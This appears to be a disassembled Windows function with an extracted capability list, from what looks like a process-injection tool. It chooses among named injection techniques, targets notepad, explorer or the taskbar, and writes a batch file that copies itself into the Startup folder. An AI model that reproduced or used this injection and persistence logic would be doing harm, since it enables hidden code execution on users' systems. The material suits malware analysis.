Function at 0x418470
Capabilities:
Accept command line arguments
Create process on windows
Enumerate threads
Find taskbar
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45fa87
mov eax, dword fs:[0]
push eax
sub esp, 0x154
mov eax, dword [0x47a0b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x144], ecx
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0
call fcn.0040a9e0
push eax
lea ecx, [ebp + 8]
call fcn.0040aa40
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0
push eax
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
or esi, 0xffffffff
mov dword [ebp - 0x14c], edi
test edi, edi
je 0x418e30
cmp dword [ebp - 0x12c], 3
jl 0x418e30
mov ecx, dword fs:[0x2c]
mov eax, dword [0x47d7a4]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 4]
jle 0x41868f
push 0x47d7a4
call fcn.00435844
add esp, 4
cmp dword [0x47d7a4], esi
jne 0x41868f
push str.setwindowshook_loadlibrary
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
call fcn.0040ac50
mov dword [ebp - 0x6c], 1
push str.createremotethread_writeprocessmemory
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 2
call fcn.0040ac50
mov dword [ebp - 0x64], 2
push str.createremotethread_ntmapviewofsection
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 3
call fcn.0040ac50
mov dword [ebp - 0x5c], 3
push str.suspendinjectandresume_writeprocessmemory
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 4
call fcn.0040ac50
mov dword [ebp - 0x54], 4
push str.queueuserapc_globaladdatom
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 5
call fcn.0040ac50
mov dword [ebp - 0x4c], 5
push str.ctrlcinject_writeprocessmemory
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 6
call fcn.0040ac50
mov dword [ebp - 0x44], 6
push str.alpc_writeprocessmemory
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call fcn.0040ac50
mov dword [ebp - 0x3c], 7
push str.propagate_writeprocessmemory
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 8
call fcn.0040ac50
mov dword [ebp - 0x34], 8
push str.suspendinjectandresume_ntqueueapcthread
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 9
call fcn.0040ac50
mov dword [ebp - 0x2c], 9
push str.setwindowlongptr_writeprocessmemory
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xa
call fcn.0040ac50
mov dword [ebp - 0x24], 0xa
push str.suspendinjectandresume_ghostwriting
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xb
call fcn.0040ac50
mov dword [ebp - 0x1c], 0xb
push str.suspendinjectandresume_ntunmapviewofsection
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0xc
call fcn.0040ac50
mov dword [ebp - 0x14], 0xc
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x70]
push eax
push ecx
mov ecx, 0x47d7a8
call fcn.00418f20
mov byte [ebp - 4], 1
push 0x418ea0
push 0xc
push 8
lea eax, [ebp - 0x70]
push eax
call fcn.00435dd2
push 0x4616c0
call fcn.00435d83
push 0x47d7a4
mov byte [ebp - 4], 0
call fcn.004357fa
add esp, 8
push dword [edi + 4]
lea ecx, [ebp - 0x124]
call fcn.0040ac50
lea eax, [ebp - 0x124]
mov ecx, 0x47d7a8
push eax
lea eax, [ebp - 0x15c]
push eax
call fcn.004191d0
mov esi, dword [ebp - 0x154]
cmp byte [esi + 0xd], 0
jne 0x4186d5
lea eax, [esi + 0x10]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.004193f0
test al, al
je 0x4186db
mov esi, dword [0x47d7a8]
mov edx, dword [ebp - 0x124]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4186fc
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp esi, dword [0x47d7a8]
je 0x418e2d
mov eax, dword [esi + 0x14]
lea ecx, [ebp - 0x150]
push dword [edi + 8]
mov dword [ebp - 0x120], eax
call fcn.0040ac50
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x128], 0
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x418e7a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x124], esi
mov dword [ebp - 0x138], esi
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x12c], 3
mov dword [ebp - 0x118], 1
jle 0x41877a
push dword [edi + 0xc]
call fcn.00440b8f
add esp, 4
mov dword [ebp - 0x118], eax
push 3
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x110], eax
call fcn.00418fe0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x110]
push str.C:WindowsTemp_apk.cmd
mov dword [ebp - 0x140], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x148], eax
cmp eax, 0xffffffff
mov eax, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x130], eax
je 0x418904
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x418e84
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x13c], eax
push str.__n____________________________ECHO_OFF_n_n____________________________MSG___username____Have_a_nice_day__n_n____________________________IF_exist__c:windows_temp_apk.cmd____n_n________________________________MOVE__Y___s_____USERPROFILE__Start_MenuProgramsStartup_apk_s.cmd__n_n______________________________n_n
lea ecx, [ebp - 0x13c]
mov byte [ebp - 4], 0x11
call fcn.0040c190
test al, al
jne 0x418821
push str.__n____________________________ECHO_OFF_n_n____________________________MSG___username____Have_a_nice_day__n_n____________________________IF_exist__c:windows_temp_apk.cmd____n_n________________________________MOVE__Y___s_____USERPROFILE__Start_MenuProgramsStartup_apk_s.cmd__n_n______________________________n_n
lea ecx, [ebp - 0x13c]
call fcn.0040c270
mov byte [ebp - 4], 0x12
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x418e8e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x11c], eax
push dword [ebp - 0x140]
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x11c]
mov edi, dword [ebp - 0x13c]
push str.C:WindowsTemp_apk.cmd
push edi
push eax
call fcn.0040cdf0
mov esi, dword [ebp - 0x11c]
add esp, 0x10
cmp dword [esi - 4], 1
mov eax, dword [esi - 0xc]
mov dword [ebp - 0x140], eax
jle 0x418896
push eax
lea ecx, [ebp - 0x11c]
call fcn.0040cd20
mov esi, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x140]
push 0
lea ecx, [ebp - 0x134]
push ecx
push eax
push esi
push dword [ebp - 0x148]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 0x148]
call dword [ebp - 0x130]
lea edx, [esi - 0x10]
mov byte [ebp - 4], 0x12
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4188da
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x10
add edi, 0xfffffff0
mov eax, esi
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x4188f8
lfence
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x14c]
mov esi, dword [ebp - 0x124]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x10c]
mov eax, dword [ebp - 0x110]
cmp eax, ecx
je 0x418921
push eax
call fcn.00441ca4
add esp, 4
mov eax, dword [ebp - 0x120]
cmp eax, 1
jne 0x418933
push 0x470790
jmp 0x41893d
cmp eax, 2
jne 0x41894a
push 0x4707c0
mov edx, 0x190
call fcn.0040e620
add esp, 4
mov eax, dword [ebp - 0x118]
cmp eax, 1
jne 0x418ab8
cmp dword [ebp - 0x12c], 4
jle 0x4189a9
mov edx, dword [edi + 0x10]
test edx, edx
jne 0x418980
xor ecx, ecx
push ecx
push edx
lea ecx, [ebp - 0x138]
call fcn.0040ca50
mov edi, dword [ebp - 0x120]
jmp 0x4189d8
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x418985
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x138]
call fcn.0040ca50
mov edi, dword [ebp - 0x120]
jmp 0x4189d8
push 0x16
push str.C:Windows_notepad.exe
lea ecx, [ebp - 0x138]
call fcn.0040ca50
mov edi, dword [ebp - 0x120]
cmp edi, 5
jne 0x4189d8
push 0x17
push str.C:Windowsexplorer.exe
lea ecx, [ebp - 0x138]
call fcn.0040ca50
mov esi, dword [ebp - 0x138]
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0x44
push eax
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x124], esi
push 0
push 0
push 0x46d654
push esi
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
movups xmmword [ebp - 0x160], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jne 0x418a5a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
jmp 0x418a60
mov eax, dword [ebp - 0x160]
movups xmm1, xmmword [ebp - 0x160]
movaps xmm0, xmm1
psrldq xmm0, 8
movd dword [ebp - 0x11c], xmm0
movups xmmword [ebp - 0x80], xmm1
psrldq xmm1, 0xc
movd dword [ebp - 0x128], xmm1
test eax, eax
je 0x418aa1
mov ecx, dword [ebp - 0x144]
test ecx, ecx
je 0x418a9a
mov dword [ecx], eax
jmp 0x418aa1
push eax
call dword [ebp - 0x130]
mov eax, dword [ebp - 0x7c]
test eax, eax
je 0x418ba4
push eax
call dword [ebp - 0x130]
jmp 0x418ba4
test eax, eax
jne 0x418afc
push eax
push str.Shell_TrayWnd
mov dword [ebp - 0x118], eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x418add
mov dword [ebp - 0x11c], eax
jmp 0x418b9e
lea ecx, [ebp - 0x118]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
jmp 0x418b9e
cmp eax, 2
jne 0x418b40
push str.notepad.exe
lea ecx, [ebp - 0x118]
call fcn.0040ac50
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x14
call fcn.0040e430
mov byte [ebp - 4], 0xf
or ecx, 0xffffffff
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jmp 0x418b91
cmp eax, 3
jne 0x418dde
cmp dword [ebp - 0x12c], 4
jle 0x418dde
push dword [edi + 0x10]
lea ecx, [ebp - 0x118]
call fcn.0040ac50
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x15
call fcn.0040e430
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x418b9e
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x120]
cmp dword [ebp - 0x11c], 0
je 0x418dde
push 0x21
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x150]
cmp edi, 2
je 0x418cc1
cmp dword [ebp - 0x128], 0
je 0x418cc1
mov edx, 0x470ed0
mov ecx, eax
nop dword [eax]
mov di, word [ecx]
cmp di, word [edx]
jne 0x418c06
test di, di
je 0x418c02
mov di, word [ecx + 2]
cmp di, word [edx + 2]
jne 0x418c06
add ecx, 4
add edx, 4
test di, di
jne 0x418be0
xor ecx, ecx
jmp 0x418c0b
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x418cc1
mov edx, 0x470ed8
mov ecx, eax
nop word [eax + eax]
mov di, word [ecx]
cmp di, word [edx]
jne 0x418c46
test di, di
je 0x418c42
mov di, word [ecx + 2]
cmp di, word [edx + 2]
jne 0x418c46
add ecx, 4
add edx, 4
test di, di
jne 0x418c20
xor ecx, ecx
jmp 0x418c4b
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x418cc1
mov edx, 0x471418
mov ecx, eax
mov di, word [ecx]
cmp di, word [edx]
jne 0x418c7c
test di, di
je 0x418c78
mov di, word [ecx + 2]
cmp di, word [edx + 2]
jne 0x418c7c
add ecx, 4
add edx, 4
test di, di
jne 0x418c56
xor ecx, ecx
jmp 0x418c81
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x418cc1
push dword [ebp - 0x128]
push ecx
mov edi, esp
lea ecx, [eax - 0x10]
mov dword [ebp - 0x134], edi
call fcn.0040c960
mov edx, dword [ebp - 0x11c]
add eax, 0x10
mov ecx, dword [ebp - 0x120]
mov dword [edi], eax
call fcn.00417e40
add esp, 8
mov byte [ebp - 0x111], 1
jmp 0x418de5
lea ecx, [eax - 0x10]
call fcn.0040c960
lea edi, [eax + 0x10]
mov dword [ebp - 0x118], edi
push 0
push 4
mov byte [ebp - 4], 0x16
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov dword [ebp - 0x128], eax
cmp eax, 0xffffffff
jne 0x418cff
mov byte [ebp - 4], 0xf
add edi, 0xfffffff0
or eax, eax
lock xadd dword [edi + 0xc], eax
dec eax
jmp 0x418dc6
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x8c], 0x1c
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_Thread32First]
test eax, eax
jne 0x418d3c
push dword [ebp - 0x128]
call dword [ebp - 0x130]
mov byte [ebp - 4], 0xf
add edi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edi + 0xc], eax
dec eax
jmp 0x418dc6
mov esi, dword [ebp - 0x118]
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x80], eax
jne 0x418d8d
push dword [ebp - 0x84]
lea eax, [esi - 0x10]
push ecx
mov edi, esp
mov dword [ebp - 0x144], eax
mov ecx, eax
mov dword [ebp - 0x134], edi
call fcn.0040c960
mov edx, dword [ebp - 0x11c]
add eax, 0x10
mov ecx, dword [ebp - 0x120]
mov dword [edi], eax
call fcn.00417e40
mov edi, dword [ebp - 0x144]
add esp, 8
jmp 0x418d90
lea edi, [esi - 0x10]
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x128]
call dword [sym.imp.KERNEL32.DLL_Thread32Next]
test eax, eax
jne 0x418d42
push dword [ebp - 0x128]
call dword [ebp - 0x130]
mov byte [ebp - 4], 0xf
or eax, 0xffffffff
lock xadd dword [edi + 0xc], eax
dec eax
mov esi, dword [ebp - 0x124]
test eax, eax
jg 0x418dd5
lfence
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 0x111], 1
jmp 0x418de5
mov byte [ebp - 0x111], 0
mov byte [ebp - 4], 0xe
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x418e04
lfence
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
or esi, 0xffffffff
mov edx, dword [ebp - 0x150]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x418e37
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x418e37
or esi, 0xffffffff
mov byte [ebp - 0x111], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x418e59
lfence
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov al, byte [ebp - 0x111]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004356fe
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
int3